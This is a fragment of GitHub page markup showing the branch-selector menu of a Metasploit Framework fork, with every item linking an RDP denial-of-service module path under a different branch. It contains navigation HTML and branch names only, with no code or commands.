"> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ms09-022/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ms09-022" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ms09-022">ms09-022</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ms12-005_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ms12-005_mod" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ms12-005_mod">ms12-005_mod</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ms13_005_hwnd_broadcast/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ms13_005_hwnd_broadcast" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ms13_005_hwnd_broadcast">ms13_005_hwnd_broadcast</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ms13_009_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ms13_009_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ms13_009_work">ms13_009_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ms13_037_svg_dashstyle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ms13_037_svg_dashstyle" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ms13_037_svg_dashstyle">ms13_037_svg_dashstyle</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mubix-ask_localport/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mubix-ask_localport" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mubix-ask_localport">mubix-ask_localport</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mubix-tcpnetstat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mubix-tcpnetstat" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mubix-tcpnetstat">mubix-tcpnetstat</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mutiny_subnetmask_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mutiny_subnetmask_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mutiny_subnetmask_exec">mutiny_subnetmask_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/nagios_nrpe_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="nagios_nrpe_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="nagios_nrpe_work">nagios_nrpe_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netcat_gaping/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netcat_gaping" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netcat_gaping">netcat_gaping</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netcat_note/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netcat_note" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netcat_note">netcat_note</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netcat_openbsd/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netcat_openbsd" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netcat_openbsd">netcat_openbsd</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netcat_payloads/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netcat_payloads" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netcat_payloads">netcat_payloads</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netgear_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netgear_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netgear_review">netgear_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/netiq_pum_eval/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="netiq_pum_eval" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="netiq_pum_eval">netiq_pum_eval</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/nginx_got_dereferencing/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="nginx_got_dereferencing" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="nginx_got_dereferencing">nginx_got_dereferencing</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/notes_handler_cmdinject/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="notes_handler_cmdinject" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="notes_handler_cmdinject">notes_handler_cmdinject</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/novell_client_nicm/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="novell_client_nicm" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="novell_client_nicm">novell_client_nicm</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/novell_client_nwfs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="novell_client_nwfs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="novell_client_nwfs">novell_client_nwfs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/novell_edirectory_ncp_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="novell_edirectory_ncp_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="novell_edirectory_ncp_bof">novell_edirectory_ncp_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/novell_groupwise_gwcls1_actvx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="novell_groupwise_gwcls1_actvx" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="novell_groupwise_gwcls1_actvx">novell_groupwise_gwcls1_actvx</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/olliwolli-sharepointadfs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="olliwolli-sharepointadfs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="olliwolli-sharepointadfs">olliwolli-sharepointadfs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/openemr_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="openemr_upload_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="openemr_upload_exec">openemr_upload_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/openpli_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="openpli_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="openpli_work">openpli_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/oracle_webcenter_actvx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="oracle_webcenter_actvx" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="oracle_webcenter_actvx">oracle_webcenter_actvx</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_93696/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="osvdb_93696" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="osvdb_93696">osvdb_93696</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_flashchat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="osvdb_flashchat" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="osvdb_flashchat">osvdb_flashchat</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="osvdb_refs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="osvdb_refs">osvdb_refs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/outpost_local/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="outpost_local" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="outpost_local">outpost_local</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ovftool_format_string_browser/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ovftool_format_string_browser" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ovftool_format_string_browser">ovftool_format_string_browser</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ovftool_format_string_fileformat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ovftool_format_string_fileformat" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ovftool_format_string_fileformat">ovftool_format_string_fileformat</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/pcanywhere_login/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="pcanywhere_login" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="pcanywhere_login">pcanywhere_login</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/persistence_vbs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="persistence_vbs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="persistence_vbs">persistence_vbs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/php_cgi_arg_injection_plesk/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="php_cgi_arg_injection_plesk" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="php_cgi_arg_injection_plesk">php_cgi_arg_injection_plesk</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/php_wordpress_total_cache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="php_wordpress_total_cache" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="php_wordpress_total_cache">php_wordpress_total_cache</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/phpldapadmin_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="phpldapadmin_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="phpldapadmin_fix">phpldapadmin_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/pineapp_ldapsyncnow_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="pineapp_ldapsyncnow_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="pineapp_ldapsyncnow_exec">pineapp_ldapsyncnow_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/pineapp_livelog_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="pineapp_livelog_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="pineapp_livelog_exec">pineapp_livelog_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/post_download_exec_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="post_download_exec_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="post_download_exec_work">post_download_exec_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/post_mod_setup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="post_mod_setup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="post_mod_setup">post_mod_setup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/post_require/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="post_require" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="post_require">post_require</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ppr_flatten_rec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ppr_flatten_rec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ppr_flatten_rec">ppr_flatten_rec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/proficy_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="proficy_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="proficy_traversal">proficy_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/provider_skeleton_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="provider_skeleton_clean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="provider_skeleton_clean">provider_skeleton_clean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/psexec_command/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="psexec_command" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="psexec_command">psexec_command</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/psexec_command_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="psexec_command_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="psexec_command_fix">psexec_command_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/psexec-url/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="psexec-url" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="psexec-url">psexec-url</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/quickr_qp2_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="quickr_qp2_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="quickr_qp2_bof">quickr_qp2_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ra1nx_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ra1nx_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ra1nx_work">ra1nx_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/raidsonic_telnet/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="raidsonic_telnet" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="raidsonic_telnet">raidsonic_telnet</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/rails3/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="rails3" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="rails3">rails3</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/rapid7/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="rapid7" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="rapid7">rapid7</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/realplayer_url_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="realplayer_url_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="realplayer_url_bof">realplayer_url_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/recoveryfiles_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="recoveryfiles_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="recoveryfiles_cleanup">recoveryfiles_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/release/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="release" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="release">release</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/release-4.5/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="release-4.5" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="release-4.5">release-4.5</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/release-4.5-tech-preview/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="release-4.5-tech-preview" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="release-4.5-tech-preview">release-4.5-tech-preview</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/retab/pr/2280/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="retab/pr/2280" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="retab/pr/2280">retab/pr/2280</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/revert-msfupdate/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="revert-msfupdate" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="revert-msfupdate">revert-msfupdate</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/revertastic-reverse-http/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="revertastic-reverse-http" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="revertastic-reverse-http">revertastic-reverse-http</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/review-2142/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="review-2142" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="review-2142">review-2142</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/review-2412/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="review-2412" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="review-2412">review-2412</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2318/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="review-pr2318" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="review-pr2318">review-pr2318</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2321/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="review-pr2321" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="review-pr2321">review-pr2321</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2379/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="review-pr2379" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="review-pr2379">review-pr2379</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/rfcode_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="rfcode_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="rfcode_work">rfcode_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span 